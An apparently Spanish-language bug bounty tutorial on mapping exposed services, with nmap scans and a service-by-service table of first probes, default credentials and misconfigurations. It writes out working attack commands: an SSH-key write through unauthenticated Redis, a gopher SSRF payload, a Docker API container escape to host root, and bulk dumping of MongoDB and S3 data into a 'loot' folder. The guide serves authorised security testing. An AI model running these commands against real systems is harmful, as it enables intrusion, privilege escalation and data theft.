Respuesta rápida
Antes de cazar bugs web, mapea los servicios expuestos del target con un primer touch consistente. La metodología: nmap top-1000 + version detection → service-specific probes (SSH banner, SMB null session, NFS showmount, Redis INFO, Mongo isMaster) → credenciales por defecto → misconfigurations conocidas. Bounty típico de un Redis sin auth con CONFIG SET habilitado: €2000-€8000 si toca infra de producción.
El first touch — nmap correctamente
Antes de tocar nada, escanea bien. La diferencia entre nmap -p- random y un scan estructurado es 80% del trabajo.
# Scan rápido top 1000 + version detect
nmap -sV -sC -T4 --top-ports 1000 -oN quick.txt target.com
# Full port — siempre que el target lo permita
nmap -p- -sV -sC -T4 -oN full.txt target.com
# UDP top 100 (lento pero a veces oro)
sudo nmap -sU --top-ports 100 -T4 -oN udp.txt target.com
[!tip] Banner grabbing rápido
nc -nv target.com 22ocurl -v telnet://target.com:6379te da banner + versión sin esperar al scan completo. Útil cuando ya tienes un IP candidato del recon.
Tabla de servicios — primer touch
| Servicio | Puerto | Comando inicial | Qué buscar |
|---|---|---|---|
| SSH | 22 | ssh -v target | Banner version, key auth only, CVE-2025-32433 (Erlang OTP) |
| FTP | 21 | ftp target (user anonymous) | Anon login, vsftpd 2.3.4 backdoor, writable dirs |
| SMB | 139/445 | enum4linux-ng target | Null session, shares listables, user enumeration RID |
| NFS | 2049 | showmount -e target | Exports world-readable, no_root_squash |
| RDP | 3389 | rdp-sec-check target | NLA disabled, BlueKeep (CVE-2019-0708), weak creds |
| Redis | 6379 | redis-cli -h target INFO | No auth, CONFIG SET dir → RCE via SSH key write |
| Mongo | 27017 | mongosh "mongodb://target" | No auth, show dbs lista todo, dump completo |
| Memcached | 11211 | echo "stats" | nc target 11211 | No auth, amplification reflector |
| Elastic | 9200 | curl target:9200/_cat/indices | No auth, datos completos en _search |
| Kibana | 5601 | curl target:5601/api/status | Path traversal, prototype pollution antiguos |
| MySQL | 3306 | mysql -h target -u root -p '' | Root sin password, anonymous user |
| Postgres | 5432 | psql -h target -U postgres | Trust auth, default postgres/postgres |
| Docker | 2375/2376 | curl target:2375/version | API sin TLS → container escape trivial |
| Jenkins | 8080 | curl target:8080/script | Script console sin auth → groovy RCE |
| RabbitMQ | 15672 | curl target:15672/api/whoami | Default guest/guest |
SSH — más allá del banner
# Banner + algo soportados
nmap -p22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com
# Brute-force solo si la política del programa lo permite (raro)
hydra -L users.txt -P pass.txt ssh://target -t 4
Cosas que reportar:
ssh-rsacon MD5 como algoritmo de firma (deprecado desde OpenSSH 8.8).- Password auth habilitado en boxes de prod.
- Banner que filtra versión exacta vulnerable a CVE conocido.
- Erlang/OTP banner → potencialmente CVE-2025-32433 (pre-auth RCE).
SMB / NFS — los clásicos del lateral
# SMB null session (sin password)
smbclient -L //target/ -N
enum4linux-ng -a target
# Listar shares y montar
smbmap -H target
mount -t cifs //target/share /mnt -o user=,password=
# NFS exports
showmount -e target
mount -t nfs target:/export /mnt
[!warning] no_root_squash Si
showmount -elista un export sinroot_squash, montas como root local y escribes archivos con UID 0 → privesc instantánea en el server. Reportable como High en cualquier programa de bug bounty con infra interna en scope.
Redis sin autenticación — el clásico que paga
Redis sigue siendo el #1 target de "ups, lo dejé open" en 2026.
redis-cli -h target.com
> INFO
> CONFIG GET *
> KEYS *
Si CONFIG SET no está deshabilitado:
# Write SSH key como user de redis-server (típico)
redis-cli -h target FLUSHALL
redis-cli -h target SET x "\n\n$(cat ~/.ssh/id_rsa.pub)\n\n"
redis-cli -h target CONFIG SET dir /var/lib/redis/.ssh/
redis-cli -h target CONFIG SET dbfilename "authorized_keys"
redis-cli -h target SAVE
Si está expuesto sólo a localhost pero hay SSRF en la app web → gopher://127.0.0.1:6379/_FLUSHALL%0d%0a... ejecuta los mismos comandos. Bounty real €3000-€8000.
MongoDB sin auth — dump completo
# Conexión sin password
mongosh "mongodb://target.com:27017"
> show dbs
> use admin
> db.users.find().pretty()
# Dump completo
mongodump --host target.com --out ./loot/
Reportar siempre: count de documentos accesibles, tipos de datos sensibles (emails, hashes, PII), versión del Mongo (< 3.6 no requiere auth por defecto en muchos despliegues).
Frameworks expuestos — paths que siempre vale la pena probar
# Concat de paths típicos por framework
ffuf -u https://target.com/FUZZ -w framework-paths.txt -mc 200,401,403
| Framework | Path delator |
|---|---|
| Symfony | /_profiler, /app_dev.php |
| Laravel | /.env, /telescope, /_debugbar |
| WordPress | /wp-json/wp/v2/users, /xmlrpc.php |
| Django | /admin/, /__debug__/ |
| Rails | /rails/info/routes |
| Spring Boot | /actuator/env, /actuator/health |
| Express | /api-docs, /swagger |
| Flask | /console (Werkzeug debug) |
Docker API expuesta
# Check rápido
curl http://target:2375/version
# Listar containers
curl http://target:2375/containers/json
# Container escape — mountear el host root
docker -H tcp://target:2375 run -v /:/host -it alpine chroot /host /bin/bash
Esto es Critical instantáneo. La API Docker en puerto 2375 sin TLS = root del host.
Cloud storage — los buckets siguen siendo oro
# AWS S3
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp s3://target-bucket/ ./loot/ --recursive --no-sign-request
# GCS
curl https://storage.googleapis.com/target-bucket/
# Azure
curl "https://target.blob.core.windows.net/?comp=list"
Naming guess: target, target-assets, target-prod, target-backup, target-dev, target-uploads, target-static, target-staging.
Hunting checklist
-
nmap -sV -sC --top-ports 1000antes de tocar nada -
nmap -p-cuando el programa permita scans completos - Banner grab manual con
nc/curlen cada puerto raro - SMB null session:
enum4linux-ng -a target - NFS exports:
showmount -e target→ buscarno_root_squash - Redis:
redis-cli INFOy checkCONFIG GET dir - Mongo:
mongoshsin password,show dbs - Elasticsearch:
curl :9200/_cat/indices?v - Docker API:
curl :2375/version→ si responde, Critical - Cloud buckets: nombres derivados del dominio + S3Scanner
- Frameworks:
/actuator/env,/_profiler,/console,/telescope - Default creds en cada admin panel encontrado (Jenkins, RabbitMQ, Tomcat)
Labs relacionados
Practica enumeración de servicios sobre infra real con misconfigurations reproducidas de bug bounties reales en labs de Services Pentesting.
Practica esto en un lab
Services Checklist
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
Cómo encadenar misconfig de Redis con SSRF para RCE limpio en infra interna sin autenticación — y por qué Redis sigue siendo el #1 target de bugs entre subdomains internos en 2026.
5 €/mes · cancela cuando quieras
Artículos relacionados
Mass PII Extraction vía GraphQL — 93 perfiles reales en 1 hora
Un endpoint GraphQL de sincronización de contactos sin rate limiting, sin verificación de propiedad y con batching de 200 números por petición. Resolución teléfono → identidad real.
HackerOne vs Bugcrowd vs YesWeHack vs Intigriti — comparativa práctica 2026
Diferencias reales entre las 4 plataformas de bug bounty: payout speed, calidad de triage, reputation system, public vs private programs y donde se gana más dinero.
Burp Suite — setup de cero para bug bounty (Community + Professional)
Instalación, configuración de proxy + CA cert, target scope, extensiones esenciales y workflow para empezar a hunting con Burp Suite hoy.